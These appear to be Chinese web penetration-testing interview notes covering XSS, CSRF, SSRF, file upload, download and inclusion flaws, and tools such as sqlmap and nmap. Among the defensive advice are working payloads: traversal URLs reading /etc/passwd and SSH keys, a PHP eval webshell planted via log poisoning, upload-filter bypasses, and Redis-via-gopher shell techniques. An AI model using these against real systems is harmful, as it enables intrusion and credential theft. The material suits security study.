  • 钓鱼原理:通过xss平台生成一个链接,然后通过各种方式诱导用户点击,当用户点击后,xss平台就会收到用户的cookie等信息
  • 执行js:主要是通过url传参,然后在页面中执行

xss 经常会出现在哪些地方?存储型 xss 怎么发现的?

有参数提交和输入的地方(留言板,反馈信息什么的)

可以,有事件触发的相关(可以查一下)

第十章 CSRF

说一下 CSRF 原理与防御、应用、修复方式

CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的 情况下执行在权限保护之下的操作,具有很大的危害性。

CSRF攻击原理及实例
当我们打开登陆某个网站后,就会产生一个会话,这个会话可能是SESSION、Cookie,但无关紧要的。唯一的重点是浏览器与服务器之间是在会话之中

在这个会话没有结束时候,你可以利用你的权限对网站进行操作,如进行发表文章,发邮件,删除文章等操作。

当这个会话结束后,你在进行某些操作时候 Web 应用程序通常会来提醒你,您的会话已过期,或者是请重新登陆等提示。

而 CSRF 攻击则是建立会话之上的攻击。
比如当你登陆了网上银行,正在进行转账业务,这时你的某个 QQ 好友(攻击者)发来一条消息(URL),这条消息是攻击者精心构造的转账业务代码。而且与你所登录的网站是同一个银行,你可能认为这个网站是安全的,并不是什么钓鱼网站之类的,然后打开了这条URL,那么你的账户的钱可能就在你的这一次小小点击上全部丢失。

攻击成功主要是因为你的浏览器正处于与此网站的会话之中,那么一切正常操作都是合法的,而入侵者构造的这段代码只不过是正常的转账操作代码而已

防御

referer :
使用严格的Referer验证策略来防御登陆CSRF,因为登陆的表单一般都是通过HTTPS发送,在合法请求里面的Referer都是真实可靠的。通过referer判断页面来源进行CSRF防护,该方式无法防止站内CSRF攻击及referer字段伪造。

token:
通过token方式进行CSRF防护,在服务器端对比POST提交参数的token与Session中绑定的token是否一致。

origin:
对于更长远的建议,我们希望能用Origin字段来替代Referer,因为这样既保留了既有效果,又尊重了用户的隐私。
最终要废除利用token来防御CSRF的方式,因为这样网站就可以更好的保护无论是HTTP还是HTTPS请求,而不用担心token是否会泄露。

业务上
验证码: 重要功能点使用动态验证码进行CSRF防护
原密码: 对于修改密码操作,推荐附加上原密码的验证
白名单: 对于那些有特定跨站需求的请求,网站应该建立一份白名单,比如主页等。

校验请求
严格区分好 POST 与 GET 的数据请求

这里结合HTTP-ONLY防止xss的盗取cookie

CSRF 的成因?主要的两种防御方式?在前后端交互的地方可以怎样防御?对 csrf 等漏洞深层原理的理解,说一下个人利用的一个思路

同上
同上

个人利用的一个思路:
对于防御不严格的一些场景,可以先看看有没有xss或者其他相关能盗取到cookie的漏洞,然后再利用csrf进行攻击,一般情况下这种可以越权

csrf 添加 token 放在哪?说一下 csrf 的产生场景

Cookie字段中,这里的CSRF-token应该是具备安全性的token,服务器端有验证
登录 转账 修改个人信息(尤其是一些cms的个人信息)

说一下 csrf 有哪些不同的攻击方式说一下网站存在 csrf 漏洞的地方 csrf 跨站请求伪造如何利用?

  1. GET类型的,藏在标签中(图片标签)
  2. POST类型的,模拟POST请求
  3. <img src=http://admin:admin@192.168.1.1 />

其余同上了,基本就是看想用csrf干嘛,越权就去看看有没有响应的参数或者高权限账户能够被构造然后再发请求,如果是钓鱼就读取一些参数传递出去,如果是伪造就根据相应的请求进行伪造

跟 csrf 相似的漏洞你知道哪个?csrf 与那个漏洞结合危害最大?

ssrf?一个是自己主动构造自己请求,一个是自己构造服务器请求
xss吧,xss可以获取到cookie,然后csrf可以利用这个cookie进行攻击

第十一章 SSRF

为什么会产生 Ssrf 这个漏洞?有哪些地方会存在 ssrf 漏洞?说一下 SSRF 原理与防御

SSRF(Server Side Request Forgery),翻译过来就是服务器请求伪造,意味着攻击者可以伪造来自服务器端的请求,并获取攻击者需要获取的数据。

SSRF 漏洞出现的场景

1.能够对外发起网络请求的地方,就可能存在 SSRF 漏洞

2.远程资源调用功能(调用url,加载图片、在线翻译等)

3.文件上传功能,在上传点修改type=url,将type=file改为type=url,然后将上传内容改为url

4.数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)

5.Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)

6.未公开的api:这类api有时也会有对外发起网络请求或者需要远程下载资源的功能,并且因为此api未公开,所以很有可能会成为安全防护的盲区;

7.对象存储功能:对象存储功能是云上特有的文件存储系统,在对象存储功能中,获取存储桶时,如果此时未做302校验,则可结合cos回源绕过,尝试是否存在SSR;

8.处理图片文件、处理音视频文件、html解析、PDF解析等

常见的攻击向量如下:攻击者向Web服务器发送一个请求 $url 变量,Web服务器将获取该$url变量并获取数据。因此攻击者可以从那里更改$url的值file:///etc/passwd,可以很容易地读取系统中的passwd文件。

SSRF怎么防御?

SSRF的修复比较复杂,需要根据业务实际场景来采取不同的方案,例如前面说到的python中不同url库对url的解析就不一致,所以对于有条件的公司,建立一个代理集群是比较可靠的方案,将类似请求外部url的需求整理出来,分为纯外网集群和内网集群进行代理请求。

如果需要从代码层面来修复的话,需要注意一下几点:

  1. 去除url中的特殊字符

  2. 判断是否属于内网ip

  3. 如果是域名的话,将url中的域名改为ip

  4. 请求的url为3中返回的url

  5. 请求时设置host header为ip

  6. 不跟随30x跳转(跟随跳转需要从1开始重新检测)

其中第一步是为了防止利用url parse的特性造成url解析差异,第三步是为了防止dns rebinding,第5步是为了防止以ip请求时,某些网站无法访问的问题,第6步是为了防止30x跳转进行绕过

如何快速找到可能存在 SSRF 的地方?

手把手带你用 SSRF 打穿内网 - 先知社区(PDF)

  • 看访问外网
  • 看访问内网
  • 代码审计

ssrf 攻击可能存在任何语言编写的应用,代码审计中要注意以下函数

file_get_contents
从用户指定的 url 获取图片,然后把它用一个随机文 件名保存在硬盘上,并展示给用户
fsockopen()
实现获取用户制定 url 的数据(文件或者 html)。这个函数会 使用 socket 跟服务器建立 tcp 连接,传输原始数据
curl_exec()
用来获取数据

ssrf 有哪些利用思路?

对内网web应用进行指纹识别
通过访问默认文件实现
攻击内外网的web应用
主要是使用get参数就可以实现的攻击(比如struts2,sqli等)
利用file协议读取本地文件等

访问目标内网的redis服务,mysql服务,smpt服务,fastcgi服务

file伪协议就不用多说了、
payload:?url=file:/var/www/html/flag.php

ssrf 文件写入是用什么协议?

gopher

SSRF 漏洞怎么绕过?结合 redis 怎么利用?SSRF 能探测哪些信息,怎么使用?

  1. 编码(16进制,整数)将内网ip改写
  2. 隐藏ip,有些服务器请求网址在访问时没能做好过滤,在host@ip的请求时实际访问的是ip,但是匹配到host域名就结束了

内网相关的很多信息
dict端口扫描
访问一些文件(如果没做限制能实现遍历)
一些信息收集

Ssrf 的漏洞利用和修复方式?怎么读取本地文件?ssrf+redis 怎么利用?

同上
读取本地file文件

存在 SSRF 漏洞且内网中 Redis 服务可以未授权访问时,利用 Redis 任意文件写入成为十分常见的利用方式,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis

https://xie.infoq.cn/article/f3dc94425d5b586d34e1beae3

攻击SSRF漏洞之Redis利用_redis_喀拉峻_InfoQ写作社区
(PDF)

假设有一台有 ssrf 漏洞的服务器,它可以访问到内网一台开启 6379 端口的服务器,怎么利用?利用的话通过什么协议去未授权访问 redis?

redis
Gopher 协议可以说是SSRF中的万金油,。利用此协议可以攻击内网的 redis、ftp等等,也可以发送 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

redis常见的SSRF攻击方式大概有这几种:

绝对路径写webshell

写ssh公钥

写contrab计划任务反弹shell

下面我们逐个实现

绝对路径写webshell
这个方法比较常用,也是用得最多的=。=

你怎么认为一个网站会存在 ssrf 漏洞呢?

分享:通过URL地址分享网页内容
转码服务
在线翻译
图片加载与下载:通过URL地址加载或下载图片
图片、文章收藏功能
未公开的api实现以及其他调用URL的功能
从URL关键字中寻找
share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain等

第十二章 文件上传

常见文件路径

#Windows:
C:\boot.ini #查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml #IIS配置文件
C:\Windows\repair\sam #存储系统初次安装的密码
C:\Program Files\mysql\my.ini #Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD #Mysql root
C:\Windows\php.ini #php配置信息
C:\Windows\my.ini #Mysql配置信息
C:\Windows\win.ini #Windows系统的一个基本系统配置文件
#Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts #记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf #mysql配置文件
/etc/httpd/conf/httpd.conf #apache配置文件
/root/.bash_history #用户历史命令记录文件
/root/.mysql_history #mysql历史命令记录文件
/proc/mounts #记录系统挂载设备
/porc/config.gz #内核配置文件
/var/lib/mlocate/mlocate.db #全文件路径
/porc/self/cmdline #当前进程的cmdline参数
日志默认路径:

#(1)apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access_log

#(2) apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

#(3) IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Logfiles

#(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\log\LogFiles

#(5) nginx 日志文件
/usr/local/nginx/logs
/var/log/nginx/access.log

说一下文件上传方式与防御

  • 存在上传点
  • 可以上传动态文件
  • 上传目录有执行权限,并且上传的文件可执行
  • 可访问到上传的动态文件
  1. 前端提交 可能遇到JavaScript检测、flash as检测等
  2. 数据传输 可能遇到waf拦截、ips拦截等
  3. 后端处理 可能遇到扩展名检测、文件格式检测、mime ytpe检测、内容检测等
  4. 写入文件系统 可能遇到文件重命名、杀毒软件查杀等
  5. 访问文件 可能遇到无执行权限、位置位置等

说一下你知道的文件上传绕 waf 的方式说一下常见文件上传手段修复建议

1 JavaScript检测绕过
查看onchange、onsubmit等事件
onchange事件会在与的内容改变时发生,如选择文件
onsubmit会在确认按钮点击时发生
删除掉相关事件中的检测函数
2 提交报文修改检测
这种方法在前端绕过中是通用的,无需理会具体前端的检测代码,直接绕过并提交

将文件名改为符合要求的文件名后上传
通过bp截包后,进行改包或重放完成文件上传
3 APP端bp抓包
将bp的代理端口监听问“all interface”
在手机wifi设置中将代理地址设置为bpip:8080
访问http://bpip:8080下载证书
安卓将扩展名修改为.crt,然后设置-安装-平局存储-从SD卡安装
ios直接按提示安装完,进入设置-通用-关于本机-证书信任设置,添加信任
如果安卓app使用了证书校验,可以配合xposed框架的JustTrustMe使用,ios没办法
如果使用mumu模拟器,需要用adb打开wifi设置

adb connect 127.0.0.1:7555
adb shell am start -a android.settings.WIFI_SETTINGS
D 服务器检测绕过
1 mime类型检测绕过
waf或代码中,可能会检测mime类型,只允许指定的几种mime类型通过
好在mime类型是浏览器生产的,所以可以通过bp抓包后,修改mime类型来绕过此种检测
常见的白名单mime type

image/jepg
image/png
text/plain
application/zip
application/msword
2 简单文件头检测绕过
文件头是位于文件开头的一段承担一定任务的数据,一般在文件的开头部分,如
gif的文件头是GIF89a,GIT87a
jepg的文件头是\xff\xd8\xff(需转码)
png的文件头是\x89PNG\x0d\x0a(需转码)

这种检测方法,可以通过在上传的文件前最佳合法的文件头进行绕过,如
GIF89a

3 完整文件结构检测
通过调用图像函数(如getimagesize、imagecreatefromgif、imagecreatefrompng等)检测文件是否是图像,需要文件内容保持相对完整,所以无法通过加文件头的方法绕过

针对这种,可以将图片文件与与上传文件合并的方式来绕过检测,合并命令为copy,如

copy /b a.gif+php.info upload_phpinfo.gif
4 恶意文件内容检测
如果服务器端的waf,会检测提交的内容中是否包含webshell等数据时,前几种方式就都不行了
常见的关键字为

eval()
base64_encode()
assert()
java.lang.Runtime
java.lang.ProcessBuilder
推荐使用强混淆的weevely进行尝试,kali中自带
https://github.com/sunge/Weevely

或者尝试开源的webshell收集项目(要自己判断是否挂马)
https://github.com/tennc/webshell

如果有一个文件上传点,你上传一个 1.php,它会自动给你转成 1.jpg,你该怎么办?文件上传漏洞对文件上传类型做了限制,除了抓包修改你还有什么思路去绕过?

  • 抓包修改
    • 修改后缀
    • 修改content-type
  • 看看修改规则,如果无脑修改php->jpg的话可以尝试Apache的后缀规则(生成一个无法识别,比如1.php.jpged)
  • htaccess重写
  • 等等。看看相关的规则,是替换还是黑名单,是检验内容还是单纯的后缀
    • 考虑图片🐴,或者其他结合的🐴

文件上传的点在哪里?

  1. 通过扫描源码:使用工具或手动查找源码中存在的文件上传函数,如move_uploaded_file()、copy()、file_put_contents()等,查找调用这些函数的地方。同时,还需要注意查找表单提交页面、文件处理页面等相关代码。
  2. 通过拦截网络请求:使用抓包工具如Wireshark,拦截HTTP请求,查看是否存在上传功能的接口地址。可以针对网站首页、文件上传页、后台管理页面等进行拦截分析。
  3. 通过寻找常见上传点:了解常见的文件上传路径,如上传目录、上传脚本、文件保存目录等。可以通过穷举、字典等方式进行尝试,寻找存在上传功能的页面。
  4. 通过目录遍历:有时可以通过目录遍历漏洞获取到上传的路径。尝试使用../等字符进行目录跳转,查看目标网站是否存在目录遍历漏洞。
    在寻找上传点的时候,还需要注意一些常见的防护机制,如文件类型限制、后缀名过滤、文件大小限制等。针对这些情况,可以尝试绕过方法或者使用其他绕过方式实现上传。同时,注意进行合法的漏洞测试,遵守法律法规。

为什么出现文件上传还能够执行?

客户端没对文件进行校验,服务端没对文件进行校验,导致文件上传后可以执行

说一下文件上传漏洞需要关注哪些点?

  1. 哪里能传
  2. 传到哪里
  3. 怎么绕过
  4. 如何执行
  5. 获取权限
  6. 提权

文件上传一般使用的是什么码?使用什么工具?

webshell小马,一句话木马
冰蝎,antsword

文件上传上传成功了但是未能正常解析应该如何绕过?说一下文件上传白名单黑名单绕过

IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll

IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:

test.asp;.jpg   他将当做asp进行解析

test.asp/123.jpg 他将当做asp进行解析

未能正常解析可能是因为目录没有执行权限,或者挪到了其他的路径
不太好说,最好能找一个路径传上去

文件上传如果禁用了 php 后缀应该如何绕过以及黑名单绕过和白名单绕过?说一下 10 种文件上传绕过方式

换其他的后缀,或者后缀绕过(这里有其他的后缀,比如asp,jsp,php3,php4,php5,phtml,shtml)

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。每一关都包含着不同上传方式。

pass01:前端js限制(双杀)

抓包修改

pass02:mime类型限制(双杀)

抓包修改

pass03:文件后缀限制不严格(双杀)

修改后缀(其他的)

pass04:文件后缀限制不严格(双杀)

上传一个htaccess文件,文件中允许任何文件当php文件执行
然后再将123.php改名为123.jpg后上传,访问改文件可执行phpinfo
htaccess文件内容
$ cat 1.htaccess
<FilesMatch “”>
SetHandler application/x-httpd-php

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

pass05:大小写限制不严格(仅win)

将123.php改为123.phP后上传,上传后可正常访问使用

pass06:空格绕过(仅win)

仅windows可用,在windows下,如果新建文件“123.php ”,实际会被存储为”123.php“
如何测试

pass07:空格加点绕过(仅win)

仅windows可用,在windows下,如果新建文件“123.php .”,实际会被存储为”123.php“

pass08: ::$DATA绕过(仅win)

如果文件名+”::$DATA”,会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA”之前的文件

pass09:点空格点绕过(仅win)

仅windows可用,在windows下,如果新建文件“123.php. .”,实际会被存储为”123.php“

pass10:关键字替换绕过(双杀)

仅需将上传的文件123.php,改为123.pphphp,中间的php被替换为空后,剩下的文件名变回123.php

pass11:可控目录00截断(双杀)
pass12:可控目录00截断(双杀)

00截断的使用不能在文件名上
若创建文件a.php%00f.jpg

虽然%00实现了截断,文件名已经变成了php后缀,不能绕过白名单

只能用在路径上
服务器对文件名检测,发现满足条件后,与路径拼接

这时在路径上的%00实现截断,完成了绕过

pass13:文件包含加图片马(双杀)
pass14:文件包含加图片马(双杀)
pass15:文件包含加图片马(双杀)
pass16:文件包含加图片马(双杀)
pass17:先存再检再删(双杀)
pass18:先存再检再改名(双杀)
pass19:文件名00截断(双杀)
pass20:数组文件名绕过(仅win)

说一下文件上传 00 截断的前提?说一下文件上传过滤类型

版本号
magic_quotes_gpc = off
魔术引号开启的话会转义NULL

文件上传有哪些解析漏洞的文件名?说一下文件上传原理以及修复方式 怎么绕过文件上传的限制?

  • 不太了解
  • 原理就是没审查,绕过同上

任意文件上传绕过黑白名单都有哪些方式?空格绕过原理是什么?传 htaccess 原理是什么?文件上传限制只能是 word 文档怎么写入木马绕过?

00截断,或者看看是前端限制的还是哪里限制的

Google hacking 使用如何查找文件上传关键字?

这怎么看,file_upload?

第十三章 文件下载

对于一个文件下载的文件它具有什么权限?

危害

下载服务器任意文件,如脚本代码,服务及系统配置文件等;
可用得到的代码进一步代码审计,得到更多可利用漏洞

任意文件下载漏洞,你怎么判断当前用户是不是管理员?

利用条件

存在读文件的函数
读取文件的路径用户可控且未校验或校验不严
输出了文件内容

Windows 环境下任意文件下载漏洞如何通过该漏洞获取登录到该主机?

#payload
inurl:”readfile.php?file=”
2、从链接上看:

download.php?path=
download.php?file=
down.php?file=
data.php?file=
readfile.php?file=
read.php?filename=
3、从参数名看:

&Data=
&path=
&src=
&Inputfile=
&readfile=
&filepath=
&RealPath=
&dis=
&url=
&Lang=
&urls=
&menu=
&filep=
漏洞验证:
在找到下载文件的的url后,将url中的文件参数,替换为各种穿越目录,看是否能下载到相应的文件,如果能下载,就有下载漏洞

#原url:http:#xx.com/index.php?f=logo.png
http:#xx.com/index.php?f=../../../../../../etc/passwd
http:#xx.com/index.php?f=../index.php
http:#xx.com/index.php?f=file:#/etc/passwd
当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,若显示源码或提示下载则是文件查看与下载漏洞。

文件下载漏洞利用思路:
尝试读取/root/.bash_history看自己是否有root权限

1、正常情况下的利用思路:
下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方。
下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。
2、当遇到权限问题的时候:
如果具有root权限
这时候很多人肯定会说,具有root权限直接去读shadow文件了,但是很多时候我们遇到的服务器可能只对外开放了80,443端口,这时候我们即使获得了密码作用也不大,但是具备root权限对任意文件下载利用是绝好的。
下载/var/lib/mlocate/mlocate.db这个linux文件搜索库,然后利用locate mlocate.db xxname 搜索任意文件的具体路径
locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建且每天自动更新一次。

如果没有root权限
只能按部就班的利用../来回跳转读取一些文件,如.ssh下的配置信息文件,读取mysql下的.bash_history文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件
是下载的时候变得很繁琐,只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。
如我们遇到的是java/jsp+oracle环境,可以先下载/WEB-INF/classes/applicationContext.xml文件,这里面记载的是web服务器的相应配置,
然后下载/WEB-INF/classes/xxx/xxx/ccc.class对文件进行反编译,
然后搜索文件中的upload关键字看是否存在一些api接口,如果存在的话我们可以本地构造上传页面用api接口将我们的文件传输进服务器。

任意文件下载防御:
过滤”.”,使用户在url中不能回溯上级目录
正则严格判断用户输入参数的格式(写死路径)
php.ini配置open_basedir限定文件访问范围

第十四章 文件包含

文件包含怎么利用?说一下命令执行原理

?page=a.php
?home=b.html
?file=content..
涉及到的危险函数:
include #执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
include_once #同上,区别是如果该文件中已经被包含过,则不会再次包含。
require #程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
require_once #同上,区别是 PHP会检查该文件是否已经被包含过,如果是则不会再次包含。

说一下 google 语法搜索目录遍历漏洞文件包含如何单独 getshell?

说一文件包含的关键字、为什么会形成文件包含?文件包含有哪些防御方法?

1、小马+图片:

  • 方法一:直接伪造头部GIF89A

方法二:CMD方法,copy /b test.png+1.php muma.png
* 方法三:直接使用工具往图片中写入一句话木马。
2、小马+日志:
当某个PHP文件存在本地包含漏洞,而却无法上传正常文件,这就意味这有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵。

Apache服务器运行后会生成两个日志文件,access.log(访问日志)和error.log(错误日志),apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中

1、打开配置文件`httpd.conf”第299行
删除井号以取消注释

##CustomLog “logs/access.log” common
2、将一句话木马写到 url中的fiename 里
虽然会提示失败,但是会记录到日志文件中。**

#URL地址
http://xx.com/xx.php?filename=
#access_log中会有如下内容
….. GET /xx.php?filename=%3C?PHP%20@eval($_POST[%27123%27]);?%3E ……
3、然后用包含漏洞包含日志文件
小马就被运行了,但是由于编码的缘故有可能并不生效。用菜刀等工具连接试试

#URL
http://xx.com/xx.php?filename=../Apache/logs/access.log
3、利用php包含来读文件:
1 构造URL:x.php是实现传到服务器的一句话木马
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
2 通过bp抓包可以发现,返回的包里面有一串base64的加密字符串

3 将加密字符串解密,可得一句话木马
<?php eval($_POST[‘cmd’]);>
4、php包含写文件:
注意:只有在allow_url_include为on的时候才可以使用,如果想查看回显结果那还要这样

在C:\php\php-5.2.14-Win32下找到php-apache2handler.ini
打开,查找display_funtions=proc-open,oppen,exec,system……
删掉system,然后重启apache。
意思就是排除system命令

#构造URL:
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input
#抓包,修改提交的post数据为

#在返回包中,应该能看到net user命令的执行结果
5、str_replace函数绕过:(中)
使用str_replace函数替换指定的字符串是极其不安全的,因为可以使用很多方法绕过。

又假设设置的过滤../、..\、http://等,以防止目录穿越和远程文件

#1、可以路径嵌套
http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini
#2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
#3、双写http头使用远程文件
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
6、fnmatch函数绕过:(高)
经常会有开发,用fnmatch函数,用于指定只能用特定的文件名开头的文件

if(!fnmatch(“file*”,$file)&&$file!=”include.php”)
#本意是当include.php,又不是file开头的文件名时,就不能调用
#但殊不知有file://协议,也是可以读取文件的
http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。

File:// 访问本地文件系统
htt[p:// 访问HTTP(s)网址
ftp:// 访问FTP(s)URLS
php:// 访问各个输入/输出流(I/o streams)
zlib:// 压缩流
data:// 数据(RFC2397)
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径模式
#有时候对方程序员对协议进行限制我们可以多尝试尝另外的
文件包含漏洞的防御方法:
将需要包含的文件用白名单方式写死

第十五章 XXE

说一下 XXE 有回显和无回显的两种操作方法请具体说说对 XXE 的了解

xxe 原理是什么?怎么利用?

xxe 支持哪些协议?盲 xxe 了解吗?

第十六章 逻辑漏洞

你挖过业务逻辑漏洞吗?了解的有哪些?如何进行的?对于业务逻辑漏洞,只有一个登录框,你会怎么测试?逻辑漏洞 xray 如何避免敏感操作?

说一下常见的业务逻辑漏洞或者挖到过的业务逻辑漏洞订单查询怎么利用业务逻辑漏洞?

代码执行的函数有哪些?

说一说越权,水平越权和垂直越权的区别以及修复水平越权和垂直越权的区别

验证码越权有哪些?

说一下目录遍历原理与修复

.说一下任意注册账号原理与修复说一下任意用户密码重置漏洞

任意密码重置有哪些方式?如何去修复这种漏洞?

怎么进行任意密码重置?除了你说的任意密码重置方法,还有其他的方法吗?任意用户注册有哪些防御方法?

说一下代码执行绕过

命令执行和远程代码执行的区别

第十七章 工具

goby 用过吗?你一般用来做什么?goby 自带扩展小插件你用过哪些?说一下使用御剑和 dirsearch 各自的优点与缺点?

知道哪些文件上传 webshell 的工具?子域名挖掘使用的工具有哪些?

端口扫描的工具有哪些?常见的子域名工具有哪些?

1.SQLmap

列举一下 SQLmap 常用命令

sqlmap 高级语法,自带的 temper 脚本你了解哪些?为什么 sqlmap 有时候扫描的快有时候扫描特别慢?sqlmap 上传的文件命令是什么?

说一下 sqlmap 查看数据库用户的权限,–os-shell 用过没?

sqlmap 支持的探测方式?

说一下 sqlmap 的常用参数,如何爆字段,查看当前用户权限并提权

sqlmap 怎么看它是不是 root 权限?
说一下 SQLmap 查询数据库和请求方式,注入类型的命令
SQL map 如何查看指定的表?
sqlmap 命令:指定数据库类型 -r 命令是干什么的?
sqlmap 的 –dbms 是什么?
sqlmap 怎么对一个注入点注入?
sqlmap 如果跑 https 的数据包时报错怎么解决?
sqlmap 怎么跑表名?
使用 sqlmap -os-shell 发现命令执行不了 whami,你怎么判断出不出网用 dnslog 就可以了?
sql_map POST 注入的参数有哪些?sqlmap 怎么注出有很多参数的?
sqlmap 拿到 shell 之后如果有一定的防护怎么上线 cs?sqlmap 怎么用 -level -risk -dbs cookie 爆破?
说一下 Sqlmap 读文件的命令
sqlmap tamper 知道吗?一般用来做什么?sqlmap 的流量特征是什么?
说一下 sqlmap 扫描常用的参数命令 sqlmap 怎么进行宽字节注入?sqlmap 怎么调用脚本绕 waf?
sqlmap 的一些命令,-r 的用法,多参数值怎么用 sqlmap 测注入?具体说下 sqlmap 里面的一些参数、level 参数、cookie 参数
说一下 os-shell 的执行条件

2.NMAP

nmap 如何扫描漏洞?
说一下 nmap 除了扫描 ip 外的作用说一下 nmap 扫描全端口的命令
说一下 nmap 扫描常见系统漏洞的命令 nmap 常用的命令有哪些?
说一下 namp 的一些参数对应功能 nmap 怎么全开放扫描端口?

nmap 有哪些使用参数?nmap 的 sn 什么意思?nmap 怎么找主机漏洞?
说一下 nmap 全开扫描和半开扫描的区别 nmap 除了扫端口还能干啥?
nmap 半开扫参数,怎么扫的?有用 namp 进行大批量扫描吗?说一下 nmap 禁 ping 解决办法

3.BP

bp 怎么快速将请求报文转为 Python 代码?
说一下 bp 的使用请求包的头部信息里的各个字段的含义说一下 bp 的被动扫描
说一下 bp 的几个功能,爆破模块 md5 加密怎么处理?
bp 爆破账户名密码时,都是经过编码的怎么办?
bp 怎么用,如何用 bp 同时爆破用户名和密码,用哪个模块?说一下 Bp 爆破 4 个选项的作用
burpsuite 的爆破模块有哪些模式?说一下使用 burp 抓包的过程
说一下 burp 的 scanner 扫描以及爆破的四种方式 tomcat 的 war 包在 bp 里面怎么构造?
bp 的爆破模块中第 4 个选项集束炸弹是怎么用的?作用是啥?
如何用 bp 暴力破解密码?你用过哪些模块?给你 5 个用户名,5000 个密码你如何进行爆破?对于 bp 两个返回包长度相同的时候如何判断?
bp 怎么绕过验证码或者绕过 token?

4.MSF

说一下 msf 使用的情况说一下 msf 端口的作用
说一下 msf 常见的搜索命令
说一下你常用的 msf 模块以及模块的功能 msf 会话连接,session 失效了,什么原因?说一下 msf 的 handler 监听模块
内网 msf 用来监听的模块叫什么名字?msf 做信息搜集要用哪些模块?简述一种 MSF 简单的使用方式
msf 怎么做免杀?

5.漏洞扫描工具、NESSUS 主要扫描什么漏洞?AWVS 主要扫描什么漏洞?

AWVS 是什么?怎么使用?
熟悉 awvs 吗?他有什么漏洞?说一下 awvs 四种模式的区别

说一下蚁剑、冰蝎、哥斯拉、菜刀的流量特征
Xray 的原理是什么?
Xray 有没有搭配别的工具一起使用?
自己搭过虚拟机环境吗?用虚拟机做过什么?
问永恒之蓝是用的哪个虚拟机?问用了 kali 的哪个功能永恒之蓝的原理是什么?…

说一下防火墙的原理
waf 和 ips 有什么区别?
防火墙和下一代防火墙有什么区别?kali 使用 metasploit 怎么扫端口的?kali 的常见命令有哪些?
菜刀使用什么加密?
冰蝎的流量特征是什么?冰蝎使用什么加密?
防火墙和 waf 的区别?
fofa 使用的方式,平时使用 fofa 主要使用那些关键字?你平时都用 fofa 来做些什么?
fofa 的语法搜索你常用到哪些?除了 fofa 怎么查看旁站?
你觉得 FOFA 有什么需要改进的地方?有没有觉得 FOFA 的全端口扫描不太好?

第十八章 数据库

说一下 MySQL 写一句话的前提说一下 mysql 的左连和右连

说一下 mysql 的 udf 提权和 mof 提权的原理说一下 MySQL 拿权限的条件

mysql 中的 os-getshell 命令是怎么实现 getshell 的?给你一个数据库为 MySQL 的网站,你怎么 getshell?了解过那些数据库?

mysql 数据库 5.0 之前和 5.0 之后版本区别?mysql5.0 以上多了什么数据库?

说一下 MySQL 提权方式?

MySQL 数据库被入侵(udf 提权方式)后,在哪个库哪个表中可以发现入侵痕迹?必须用到拼接 sql 语句怎么修复?

redis 未授权怎么利用拿权限

说一下 redis 数据库未授权访问的连接方式说一下 sqlserver 的提权方式

MySQL 数据库怎样写入文件?写入文件的条件是什么?说一下 mssql oracle mysql 提权,udf 提权怎么提?sqlserver 不知道网站绝对路径如何 getshell?

说一下 mysql 绕过 waf 手段 PHP study 默认数据库是啥?

如何区分 mysql,mssql,oracle?

说一下 Sql 注入语句增删改查具体命令 Mysql 数据库用的什么引擎?

说一下 MySQL 高版本低版本区别?sql 写入一句话木马要求?

mysql 联合查询语句是什么语句?

说一下 mysql 和 sql server 区别和利用方式

第十九章 其他

